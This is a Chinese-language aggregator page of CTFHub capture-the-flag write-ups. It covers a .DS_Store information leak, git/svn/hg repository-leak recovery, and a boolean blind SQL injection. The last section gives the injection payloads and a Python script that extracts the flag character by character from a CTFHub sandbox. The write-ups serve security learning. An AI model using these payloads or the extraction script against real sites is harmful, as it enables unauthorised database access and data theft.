CTFHub | .DS_Store

Posted 尼泊罗河伯

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub | .DS_Store相关的知识,希望对你有一定的参考价值。

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

.DS_Store:

        .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

网页显示内容

        

        

0x02 解题过程

        根据前面几题的经验,方法一致,在浏览器访问 . DS_Store 查看隐藏文件。发现浏览器下载了一个文件使用记事本查看发现一串后缀为 .txt 的可疑文件,使用 curl 命令检查一下这个可疑文件发现网页显示此题 flag 。

        

尝试浏览器访问.DS_Store,看看浏览器回显状态,没想到直接下载了隐藏文件

         

记事本查看隐藏文件显示内容,上面显示了一串乱码和下面的未知数字

         

使用py给这串未知数字简单处理一下空格符

a = '1 a 2 3 7 d f b 2 f 2 3 d 2 1 0 2 d 7 6 c 7 c 4 a 9 e 0 d 8 3 a . t x tnoteustr'
a.replace(' ' , '')

        

使用curl命令查看这串未知数字的网页显示是什么,看到显示404网页

         

发现没有把noteustr去掉,这是注释的意思,后缀应该为.txt,重新查看发现此题flag

解释说明:

        1a237dfb2f23d2102d76c7c4a9e0d83a.txt  noteustr  flag here 

        1a237dfb2f23d2102d76c7c4a9e0d83a.txt  注  释      flag 在这 

        因为记事本排列将 flag here 在后面,导致我忽略了 flag here 这个重要提示,且最主要的是 noteustr 表示注释的意思。

        

        

0x03 .DS_Store说明

        DS_Store 全称 Desktop Services Store(桌面服务存储),是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

        

.DS_Store的禁用与启用:

1.禁用 .DS_Store,重启生效

defaults write com.apple.desktopservices DSDontWriteNetworkStores -bool TRUE

2.启用 .DS_Store

defaults delete com.apple.desktopservices DSDontWriteNetworkStores

        

        

0x04 参考文献

[1].goyohol. 关于“.DS_Store”文件[EB/OL]. [2022-10-06]. https://www.jianshu.com/p/73a0bf8f2e1e.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

ctfhub学习与题解

常用备份文件名

  • www.zip

  • bak文件

  • 在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
    以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
    再次意外退出后,将会产生名为 .index.php.swo 的交换文件
    第三次产生的交换文件则为 .index.php.swn

  • .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

信息泄露

Log

这是一个源码泄露的例子,使用Fuzz扫描,发现存在git源码泄露,利用githack获取仓库信息。

技术图片

git常用命令:

git log     查看历史记录
git reset   切换版本
git dirr    对比两次提交

使用git log 查看历史记录

技术图片

解法一:

直接与 add flag (abafbe) 这次提交进行比对

技术图片

解法二

直接切换到 add flag (abafbe) 这个版本

技术图片

Stash

stash命令可用于临时保存和回复修改

  • git stash list

    所有保存的记录列表

  • git stash pop stash@{num}

    恢复,num是可选项,通过git stash list可查看具体值。只能恢复一次

  • git stash apply stash@{num}
    恢复,num是可选项,通过git stash list可查看具体值。可回复多次

  • git stash drop stash@{num}
    删除某个保存,num是可选项,通过git stash list可查看具体值

  • git stash clear
    删除所有保存

技术图片

获得flag

技术图片

SVN

扫描发现有 .svn/ 目录,确认是 .svn 泄露。

使用svnExploit发现一个可疑的txt文件,已经被删除,无法还原。

使用 dvcs-ripper 工具中的 rip-svn.pl 脚本进行 clone.

查找已经删除的文件,得到flag

技术图片

HG

扫描发现有 .hg/ 目录,确认是 .hg 泄露。使用 dvcs-ripper 工具中的 rip-hg.pl 脚本进行 clone.

技术图片

发现直接执行 hg status 出错,工具 clone 的时候并没有 clone 完整。不要过分迷信工具。

解法一

查看.hg/store/fncache可知 flag 的文件名为flag_88274161.txt,直接访问即可得 flag

技术图片

解法二

如果服务端删除了 flag 文件的话,那么可尝试从历史记录里寻找。路径是 .hg/store/data/flag__88274161.txt.i 注意下划线是两个

技术图片

SQL注入

布尔盲注

查看页面:

技术图片

尝试输入测试信息:

技术图片

技术图片

提示为布尔注入,构造相应payload:

?id=1 and ascii(substr((select database()),1,1))>108

发现不管是否返回数据,都会显示query_success

根据老哥们的提示,得到一个骚操作:

?id=if(ascii(substr((select flag from flag),1,1))=99,1,(select table_name from information_schema.tables))

如果判断正确则返回query_error;如果判断错误则构造错误查询语句,返回query_error

python脚本如下:

import requests
table = ""
list_1 = [element for element in range(48,58)]
list_2 = [element for element in range(97,126)]
list_0 = list_1 + list_2

session = requests.session()
url = "http://challenge-4f5472e95739be70.sandbox.ctfhub.com:10080/"

for i in range(1,50):
    print(i)
    for j in list_0:
        payload = "if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))"%(i,j)
        str_get = session.get(url=url + '?id=' + payload).text
        if 'query_success' in str_get:
            table += chr(j)
            print(table)
            break

技术图片

以上是关于CTFHub | .DS_Store的主要内容,如果未能解决你的问题,请参考以下文章

CTFHub 目录便利 解题思路

CTFHub | .DS_Store

ctfhub技能树—文件上传—.htaccess

ctfhub的时间注入

ctfhub的时间注入

CTFHub--HTTP协议-请求方式